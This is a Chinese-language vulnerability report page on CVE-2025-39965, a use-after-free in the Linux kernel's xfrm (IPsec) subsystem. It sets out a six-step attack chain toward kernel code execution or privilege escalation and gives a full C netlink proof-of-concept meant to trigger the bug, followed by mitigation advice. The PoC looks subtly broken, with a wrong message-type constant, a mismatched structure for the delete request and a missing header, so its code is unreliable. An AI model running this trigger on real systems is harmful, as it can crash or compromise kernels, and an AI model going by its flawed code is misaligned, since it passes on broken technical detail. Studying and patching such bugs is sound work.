IPBUF安全漏洞报告
English
CVE-2025-39965 CVSS 5.5 中危

CVE-2025-39965 Linux内核xfrm子模块UAF漏洞

披露日期: 2025-10-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39965
漏洞类型
Use-After-Free(释放后使用)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel xfrm(IPsec安全策略管理子系统)

相关标签

Linux KernelUAFUse-After-FreexfrmIPsecSPI内核漏洞释放后使用本地提权拒绝服务

漏洞概述

CVE-2025-39965是Linux内核xfrm(IPsec转换框架)子模块中的一个释放后使用(Use-After-Free, UAF)漏洞。该漏洞源于提交94f39804d891("xfrm: Duplicate SPI Handling")引入的SPI(Security Parameters Index,安全参数索引)处理逻辑缺陷。在xfrm_alloc_spi函数中,当SPI值为0时,代码错误地将状态对象添加到byspi链表中,而SPI值为0本应表示"未分配SPI"的特殊含义。由于__xfrm_state_delete函数在删除状态时不会从byspi链表中移除这些SPI为0的状态(因为它们理论上不应存在于该链表中),这会导致链表结构损坏。当系统后续遍历byspi链表时,会触发对已释放内存的访问,从而引发UAF漏洞。该漏洞的CVSS评分为5.5,属于中等严重级别,攻击者需要本地低权限访问即可触发,可导致系统可用性受到严重影响(系统崩溃或内核panic)。该漏洞影响多个Linux内核稳定版本,Linux内核维护团队已发布多个补丁修复该问题。

技术细节

该漏洞的核心问题在于xfrm子系统中SPI值为0的语义冲突。在正常的xfrm设计中,x->id.spi == 0表示"尚未分配SPI",这些状态对象不应出现在byspi哈希链表中。然而,在提交94f39804d891引入重复SPI处理逻辑后,xfrm_alloc_spi函数会在SPI为0的情况下仍然创建状态对象并将其插入byspi链表,这违反了原有的设计约定。具体技术细节如下:1) 当用户空间通过netlink接口请求分配SPI时,如果分配的SPI值为0,xfrm_alloc_spi会创建一个新的xfrm_state对象;2) 新创建的状态对象被错误地添加到了byspi链表中;3) 当后续通过__xfrm_state_delete删除该状态时,由于代码假设byspi链表不应包含SPI为0的条目,因此不会从byspi链表中移除该节点;4) 此时状态对象被释放,但byspi链表仍持有指向已释放内存的指针;5) 下次遍历byspi链表时(如查找或添加新的SPI时),内核会访问已释放的内存,触发UAF漏洞。攻击者可以通过本地低权限账户,利用精心构造的netlink消息触发SPI分配请求,使分配的SPI值为0,然后触发状态删除操作,最终在系统遍历byspi链表时导致内核崩溃或任意代码执行。

攻击链分析

STEP 1
获取本地访问权限
攻击者需要拥有目标系统的本地低权限账户,并具备CAP_NET_ADMIN权限(可通过用户命名空间或容器逃逸获得)
STEP 2
构造恶意netlink消息
通过NETLINK_XFRM套接字构造XFRM_MSG_ALLOCSPI消息,请求分配SPI值为0的xfrm状态
STEP 3
触发SPI分配
调用xfrm_alloc_spi函数,由于SPI=0的边界检查缺失,状态对象被错误地添加到byspi链表中
STEP 4
删除xfrm状态
通过XFRM_MSG_DELSA消息删除刚创建的状态,__xfrm_state_delete不会从byspi链表中移除SPI=0的条目,导致悬空指针
STEP 5
触发byspi链表遍历
通过新的SPI分配或查找操作触发byspi链表遍历,内核访问已释放的内存,触发UAF漏洞
STEP 6
利用UAF实现攻击
通过控制UAF对象的内容,攻击者可以实现内核代码执行、权限提升或拒绝服务攻击(内核崩溃)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-39965 PoC - Trigger UAF in xfrm byspi list // This PoC triggers the Use-After-Free vulnerability by: // 1. Allocating an xfrm state with SPI=0 // 2. Deleting the state (which doesn't remove it from byspi list) // 3. Triggering a byspi list traversal (UAF access) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #include <errno.h> #define NETLINK_XFRM 6 #define XFRM_MSG_NEWSA 16 #define XFRM_MSG_DELSA 17 #define XFRM_MSG_ALLOCSPI 20 static int nl_sock = -1; static struct sockaddr_nl src_addr, dst_addr; int init_netlink() { nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (nl_sock < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; bind(nl_sock, (struct sockaddr*)&src_addr, sizeof(src_addr)); return 0; } // Step 1: Allocate SPI (triggers xfrm_alloc_spi with potentially SPI=0) int trigger_allocspi() { struct { struct nlmsghdr nh; struct xfrm_userspi_info xspi; } req; memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xspi)); req.nh.nlmsg_type = XFRM_MSG_ALLOCSPI; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; // Set up transform to potentially get SPI=0 req.xspi.info.family = AF_INET; req.xspi.id.proto = IPPROTO_AH; req.xspi.id.spi = 0; // Request SPI=0 req.xspi.info.mode = XFRM_MODE_TUNNEL; return send(nl_sock, &req, req.nh.nlmsg_len, 0); } // Step 2: Delete the state (leaves dangling pointer in byspi list) int trigger_delsa() { struct { struct nlmsghdr nh; struct xfrm_usersa_info xsinfo; } req; memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xsinfo)); req.nh.nlmsg_type = XFRM_MSG_DELSA; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.xsinfo.family = AF_INET; req.xsinfo.id.proto = IPPROTO_AH; req.xsinfo.id.spi = 0; // SPI=0 state req.xsinfo.id.daddr.a4 = inet_addr("127.0.0.1"); return send(nl_sock, &req, req.nh.nlmsg_len, 0); } // Step 3: Trigger byspi list traversal (causes UAF) int trigger_byspi_traversal() { struct { struct nlmsghdr nh; struct xfrm_userspi_info xspi; } req; memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xspi)); req.nh.nlmsg_type = XFRM_MSG_ALLOCSPI; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.xspi.info.family = AF_INET; req.xspi.id.proto = IPPROTO_AH; req.xspi.id.spi = htonl(1); // Trigger lookup in byspi list return send(nl_sock, &req, req.nh.nlmsg_len, 0); } int main() { printf("CVE-2025-39965 PoC - xfrm UAF via SPI=0\n"); if (init_netlink() < 0) { fprintf(stderr, "Need CAP_NET_ADMIN privilege\n"); return 1; } printf("[*] Step 1: Allocating xfrm state with SPI=0\n"); trigger_allocspi(); printf("[*] Step 2: Deleting state (leaves dangling byspi entry)\n"); trigger_delsa(); printf("[*] Step 3: Triggering byspi list traversal (UAF)\n"); trigger_byspi_traversal(); printf("[+] PoC executed. Check dmesg for kernel oops/panic.\n"); close(nl_sock); return 0; }

影响范围

Linux Kernel 引入重复SPI处理逻辑后至修复前的所有版本(commit 94f39804d891之后的版本)
Linux Kernel stable分支(需检查各发行版的具体内核版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1) 限制普通用户对NETLINK_XFRM套接字的访问权限,仅允许受信用户使用CAP_NET_ADMIN;2) 在系统防火墙或seccomp策略中阻止非特权进程访问netlink-xfrm;3) 禁用不必要的IPsec相关功能;4) 监控系统日志,及时发现异常的xfrm状态操作;5) 使用SELinux或AppArmor等强制访问控制机制限制对xfrm接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表